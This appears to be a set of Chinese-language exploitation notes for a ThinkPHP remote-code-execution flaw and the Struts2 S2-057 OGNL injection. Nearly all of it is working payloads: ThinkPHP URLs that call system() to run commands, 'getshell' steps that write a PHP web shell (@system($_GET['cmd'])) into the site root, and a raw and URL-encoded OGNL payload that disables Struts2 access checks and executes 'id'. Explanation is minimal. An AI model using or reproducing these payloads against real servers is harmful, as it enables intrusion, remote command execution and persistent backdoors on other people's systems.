漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖，通过覆盖类的核心属性filter导致rce，其攻击点较为多，有些还具有限制条件，另外由于种种部分原因，在利用上会出现一些问题。

远程命令执行

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

getshell:

POC:

phpinfo&vars[1][]=-1

POC:

system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

根目录生成1.php 文件，输出phpinfo

被转义加/

system&vars[1][]=echo%20"<?php @system(\$_GET['cmd']);?>" >>2.php

工具：

struts2

S2-057远程执行代码漏洞

/struts2-showcase

在url处输入/struts2-showcase/${(123+123)}/actionChain1.action

后刷新可以看到中间数字位置相加了。

whoami:

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

url编码后

/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action
